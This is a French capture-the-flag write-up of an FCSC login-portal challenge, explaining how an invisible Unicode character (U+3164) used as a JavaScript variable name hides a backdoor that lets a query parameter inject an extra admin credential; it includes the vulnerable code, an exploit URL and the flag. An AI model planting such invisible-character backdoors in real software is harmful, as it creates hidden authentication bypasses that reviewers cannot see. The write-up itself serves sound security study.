Principe:
Trouver le bypass utilisant des caractères unicodes invisibles
Le challenge nous parle d'un développeur frustré, parti, en laissant apparemment une backdoor
Le site
Sa source
(
dispo ici avec les fichiers du flag
)
On essaie de brute-forcer les hashs, au cas où…
mais JTR se trompe de type de hash!
Avec le bon type, un seul hash tombe
Au vu de la description du challenge et de la phrase
"nous avons changé les mots de passe, mais les connexions continues",
on peut se douter que cette piste ne marcherait pas
Je pensais que ce serait une "prototype pollution", mais je n'ai pas trouvé,
ni même vu de toute façon, comment l'exploiter, alors, je n'ai pas flaggé
Les virgules en fin de tableaux m'intriguaient, mais impossible de les exploiter…
pourtant, il était très probable que la faille soit là
Si j'avais ouvert le code via xxd ou tout autre éditeur
plutôt que gedit, j'aurai vu e385a4 après les virgules
Pour autant, aurai-je flaggé? Pas sûr, car je n'aurai pas fait le lien avec les variables JS,
et je n'aurai peut-etre pas considéré que ce caractère là, dans ce contexte là,
représentait en fait une variable classique!
const { username, password,ㅤ} = req.query;
// We changed all those passwords after Mr. Martin left the company
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',ㅤ
];
Le code original: on observe que l'espace entre la virgule et l'accolage est étrangement grand aussi
const { username, password,hiddenUnicode} = req.query;
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',hiddenUnicode
];
Remplaçon-le par un token de variable visible (car JS l'interprètera ainsi,
les variables pouvant avoir n'importe quel(s) caractère(s) unicode(s) comme nom)
On voit alors que si on utilise une URL avec un paramètre nommé hiddenUnicode
et une valeur admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=
(ou tout autre hash dont on connaitrait le mot de passe),
alors une nouvelle entrée sera rajoutée dans le tableau des validUsers
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',
'admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA='
];
Avec une URL &hiddenUnicode=admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA%3D ,
le tableau validUsers contiendra une entrée de plus pour "admin"
On utilise donc l'URL de login
https://login-portal.france-cybersecurity-challenge.fr/login?username=admin&password=alice&%E3%85%A4=admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA%3D
et hop, flag:
FCSC{01122d1073f9d97090af9c7a53723a5c21a8946990afed9aa2557102b7771cde}
Une autre façon de trouver le caractère caché aurait été d'exécuter uniquement le morceau
de code correspondant à validUsers : la variable hiddenUnicode n'étant pas définie,
une erreur apparait
Merci à la personne du chat Discord (je ne sais plus qui…)
qui m'a donné les indices pour cette résolution une fois le CTF terminé
↩ Retour à la liste des challenges
⇇ Retour à l'accueil